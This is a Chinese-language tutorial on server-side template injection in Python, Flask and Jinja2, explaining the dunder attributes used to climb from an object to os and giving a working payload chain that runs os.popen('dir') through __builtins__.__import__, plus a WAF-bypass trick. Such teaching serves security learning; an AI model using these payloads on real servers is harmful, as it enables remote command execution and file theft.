Python SSTI
Python中的特殊属性/方法/函数
在SSTI
中,
往往通过寻找基类->查找子类->执行危险函数
来完成攻击,
需要了解一些Python
类的特殊属性/方法/函数.
__class__
: 对象的属性, 返回对象所属的类.__mro__
: 类的属性, 返回一个含有所有父类(包括间接父类和本类)的元组.__base__
: 类的属性, 返回类的直接父类.__bases__
: 类的属性, 返回类的所有直接父类. 跟__base__
的区别在于, 如果子类是多继承,__base__
只会返回一个, 而__bases__
返回所有.__base__
相当于__bases__[0]
.__globals__
: 函数的属性, 用于获取某个函数所在处位置的全局命名空间的变量, 当函数位于另一个模块时, 可以获取另一个模块的全局命名空间的变量.__subclassess__()
: 类的方法, 返回类的直接子类.__dict__
: 对象的属性, 一个字典, 储存对象的所有属性.__init__()
: 类的方法, 用于初始化对象. 在SSTI
中用它作为跳板拿到__globals__
属性. 如果声明类时未重载__init__()
, 此时的__init__
没有__globals__
属性.未重载的
__init__
:<slot wrapper '__init__' of 'object' objects>
重载过的
__init__
:<function A.__init__ at 0x00000257D3B0D1F0>
__import__
: 这个函数在built-in
命名空间里, 效果等同于import
语句, 返回值是一个模块对象.
Flask的SSTI
Flask
是一个流行的轻量级Web框架,
基于Python
.
基本使用
1 | from flask import Flask |
使用模板
1 | from flask import Flask, render_template_string |
提交一个name
参数就可以看到回显了, 但是这个没法注入,
表达式已经执行过了.
这样就可以注入
1 | from flask import Flask, render_template_string, request |
表达式能被执行即可注入.
注入测试
就用上面的代码作为服务端.
找基类object
1 | ''.__class__.__mro__[1] #把空字符串换成空字典和空列表也行, 下同 |
主要就是利用__base__
和__mro__
这样的属性找到基类.
找重载过__init__()
方法的子类
用BurpSuite
扫一下__subclasses__()
返回的所有类,
根据回显判断__init__()
是否被重载过,
也可以根据名字选择已知的某些特殊的类,
比如warnings.catch_warnings
,
这个类中含有os
模块无需导入.
比如这个索引为106的类就重载了__init__()
,
接着访问函数的__globals__
属性,
通过keys()
查看有哪些变量 1
''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__.keys()
可以看到, 有__builtins__
,
于是可以通过__builtins__
里的__import__()
加载想要的模块,
比如os
.
1 | ''.__class__.__mro__[1].__subclasses__()[106].__init__.__globals__["__builtins__"]["__import__"]("os").popen("dir").read() |
也可以用__builtins__
里的eval()
等函数实现RCE
或者文件读取写入等功能.
Jinja2的特性
在template
中使用变量时,
可以用[]
取代.
的功能,
同理也可以用.
取代[]
的功能.
可以用这个来绕过.
或者[]
的WAF
.
1 | {{ foo.bar }} |
这两行代码可以实现相同的功能, 但有一些细微的区别
foo.bar
:
- 首先执行
getattr(foo, 'bar')
- 如果没找到, 再执行
foo.__getitem__('bar')
- 都没找到, 返回一个未定义的对象
foo['bar'
]:
- 首先执行
foo.__getitem__('bar')
- 如果没找到, 再执行
getattr(foo, 'bar')
- 都没找到, 返回一个未定义的对象
未完待续